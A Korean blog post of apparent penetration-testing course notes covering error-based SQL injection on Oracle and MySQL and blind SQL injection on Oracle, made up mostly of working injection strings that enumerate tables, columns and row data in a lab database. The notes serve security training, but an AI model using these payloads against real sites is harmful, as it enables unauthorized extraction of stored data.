침투 시나리오를 활용한 웹, 모바일 환경 모의 해킹 실습 2일차

bbbbbhyun·2024년 10월 16일
0

Error-based SQL Injection

유니온은 안되는데 사용자 입력값에 따른 DB에러가 웹페이지에 상세하게 나올 경우

  1. 공격 포인트 찾기
  2. 탈취할 테이블명 탈취
    2-1. 테이블의 개수 추출
    2-2. 1 row씩 가져오는 쿼리 만들어서 1~개수 테이블명 추출
  3. 탈취한 테이블의 컬럼명 탈취
    3-1. 컬럼의 개수 추출
    3-2. 1 row씩 컬럼 1~개수 컬럼명 추출
  4. 탈취한 테이블의 컬럼의 데이터 탈취
    4-1. 데이터의 개수 추출
    4-2. 각 컬럼별로 1row씩 1~개수 데이터 추출

Examlple

Oracle

2-1.테이블의 개수 추출

공격 쿼리

select count(*) from user_tables; 이용해서 테이블 수 추출

검색어

[검색어]%' and 1=CTXSYS.DRITHSX.SN(user, 공격 쿼리) and '1%'='1

실 검색어

and 1=CTXSYS.DRITHSX.SN(user, (select count(table_name) from user_tables)) and '1%'='1

2-2. 1 row씩 가져오는 쿼리 만들어서 1~개수 테이블명 추출

공격 쿼리
  • ln = 1 ~ 개수 만큼 실행
    select table_name from (select table_name, rownum as ln from user_tables) where ln = 1
검색어

[검색어]%' and
1=CTXSYS.DRITHSX.SN(user, (select table_name from (공격 쿼리)) and '1%'='1

실 검색어

어려워%' and 1=CTXSYS.DRITHSX.SN(user, (select table_name from (select table_name, rownum as ln from user_tables) where ln = 1)) and '1%'='1

3-1. 컬럼의 개수 추출

공격 쿼리

select count(column_name) from user_tab_columns where table_name = [착취한 테이블명]

검색어

[검색어]%' and 1=CTXSYS.DRITHSX.SN(user, (공격쿼리 )) and '1%'='1

실 검색어

어려워%' and 1=CTXSYS.DRITHSX.SN(user, (select count(column_name) from user_tab_columns where table_name = 'ANSWER')) and '1%'='1

3-2. 1 row씩 컬럼 1~개수 컬럼명 추출

공격 쿼리
  • ln = 1 ~ 컬럼수 만큼
    select column_name from (select column_name, rownum as ln from user_tab_columns where table_name = [탈취한 테이블 이름]) where ln = 1
검색어

[검색어]%' and 1=CTXSYS.DRITHSX.SN(user, (공격쿼리 )) and '1%'='1

실 검색어

어려워%' and 1=CTXSYS.DRITHSX.SN(user, (select column_name from (select column_name, rownum as ln from user_tab_columns where table_name = 'ANSWER') where ln = 1)) and '1%'='1

4-1. 데이터의 개수 추출

공격 쿼리

select count([탈취한 컬럼 이름]) from [탈취한 테이블명]

검색어

[검색어]%' and 1=CTXSYS.DRITHSX.SN(user, (공격쿼리 )) and '1%'='1

실 검색어

어려워%' and 1=CTXSYS.DRITHSX.SN(user, (select count(ANSWER_COLUMN) from ANSWER)) and '1%'='1

4-2. 각 컬럼별로 1row씩 1~개수 데이터 추출

공격 쿼리

select [탈취한 컬럼 이름] from [탈취한 테이블명]

검색어

[검색어]%' and 1=CTXSYS.DRITHSX.SN(user, (공격쿼리 )) and '1%'='1

실 검색어

어려워%' and 1=CTXSYS.DRITHSX.SN(user, ( select ANSWER_COLUMN from ANSWER)) and '1%'='1

Mysql

2-1.테이블의 개수 추출

공격 쿼리

select count(table_name) from information_schema.tables where table_schema=database()))

검색어

[검색어]%' and 1=extractvalue(rand(), concat(0x3a, (공격쿼리) and '1%'='1%

실 검색어

ccc%' and 1=extractvalue(rand(), concat(0x3a, (select count(table_name) from information_schema.tables where table_schema=database()))) and '1%'='1%

2-2. 1 row씩 가져오는 쿼리 만들어서 1~개수 테이블명 추출

공격 쿼리
  • offset = 1 ~ 개수 만큼 실행
    select table_name from information_schema.tables where table_schema=database() limit 1 offset 1))
검색어

[검색어]%' and 1=extractvalue(rand(), concat(0x3a, (공격 쿼리) and '1%'='1%

실 검색어

ccc%' and 1=extractvalue(rand(), concat(0x3a, (select table_name from information_schema.tables where table_schema=database() limit 1 offset 1))) and '1%'='1%

3-1. 컬럼의 개수 추출

공격 쿼리

select count(column_name) from information_schema.columns where table_name = [착취한 테이블명]))

검색어

[검색어]%' and 1=extractvalue(rand(), concat(0x3a, (공격쿼리) and '1%'='1%

실 검색어

ccc%' and 1=extractvalue(rand(), concat(0x3a, (select count(column_name) from information_schema.columns where table_name = 'eqst_answer'))) and '1%'='1%

3-2. 1 row씩 컬럼 1~개수 컬럼명 추출

공격 쿼리
  • ln = 1 ~ 컬럼수 만큼
    select column_name from information_schema.columns where table_name = [착취한 테이블 이름]))
검색어

[검색어]%' and 1=extractvalue(rand(), concat(0x3a, (공격쿼리) and '1%'='1%

실 검색어

ccc%' and 1=extractvalue(rand(), concat(0x3a, (select column_name from information_schema.columns where table_name = 'answer'))) and '1%'='1%

4-1. 데이터의 개수 추출

공격 쿼리

select count([탈취한 컬럼 이름]) from [탈취한 테이블명]

검색어

[검색어]%' and 1=extractvalue(rand(), concat(0x3a, (검색어) and '1%'='1%

실 검색어

ccc%' and 1=extractvalue(rand(), concat(0x3a,
(select count(answer_column)
from eqst_answer))) and '1%'='1%

4-2. 각 컬럼별로 1row씩 1~개수 데이터 추출

공격 쿼리

select [탈취한 컬럼 이름] from [탈취한 테이블명]

검색어

[검색어]%' and 1=extractvalue(rand(), concat(0x3a, (검색어) and '1%'='1%

실 검색어

ccc%' and 1=extractvalue(rand(), concat(0x3a, (select answer_column
from eqst_answer))) and '1%'='1%

Blind SQL Injection

TRUE(참) 인 쿼리문과 FALSE(거짓) 인 쿼리문 삽입 시 반홛되는 데이터를 비교하여 정보를 추출하는 공격

  1. 공격 포인트 찾기
  2. 탈취할 테이블명 탈취
    2-1. 테이블의 개수 추출
    2-2. 1 row씩 가져오는 쿼리 만들어서 1~개수 테이블명 추출
  3. 탈취한 테이블의 컬럼명 탈취
    3-1. 컬럼의 개수 추출
    3-2. 1 row씩 컬럼 1~개수 컬럼명 아스키값 추출
    3-3. 아스키값을 문자열로 변경
  4. 탈취한 테이블의 컬럼의 데이터 탈취
    4-1. 데이터의 개수 추출
    4-2. 각 컬럼별로 1row씩 1~개수 데이터 아스키값 추출
    4-3. 아스키값을 문자열로 변경

Example

Oracle

3-1. 컬럼의 개수 추출

공격 쿼리

select count(column_name) from user_tab_columns
where table_name = [탈취한 테이블명]

검색어

[검색어]%' and (select count(column_name) from user_tab_columns where table_name = [탈취한 테이블명]) > [컬럼수 (0~ 탈취할 컬럼수까지)] and '1%'='1

실 검색어

qqqq%' and (select count(column_name) from user_tab_columns where table_name = 'ANSWER') > 4 and '1%'='1

3-2. 1 row씩 컬럼 1~개수 컬럼명 아스키값 추출

공격 쿼리

select length(column_name) from (select column_name, rownum as ln from user_tab_columns where table_name = [탈취한 테이블 이름]) where ln = [1 ~ 탈취한 컬럼수까지]

검색어

[검색어]%' and (select length(column_name) from (select column_name, rownum as ln from user_tab_columns where table_name = [탈취한 테이블 이름]) where ln = [1 ~ 탈취한 컬럼수까지]) > [탈취할 컬럼의 길이] and '1%'='1

실 검색어

qqq%' and (select length(column_name) from (select column_name, rownum as ln from user_tab_columns where table_name = 'ANSWER') where ln = 1) > 7 and '1%'='1

3-3. 아스키값을 문자열로 변경

공격 쿼리

select ascii(substr([탈취한 테이블명],[1 ~ 탈취한 컬럼 글자수],1)) from [탈취한 테이블명] or [dual]

검색어

[검색어]%' and (select ascii(substr([탈취한 테이블명],[1 ~ 탈취한 컬럼 글자수],1)) from [탈취한 테이블명] or [dual]) > [탈취한 아스키값] and '1%'='1

실 검색어

qqq%' and (select ascii(substr(answer,1,1)) from answer) > 100 and '1%'='1

profile
BackEnd develope

0개의 댓글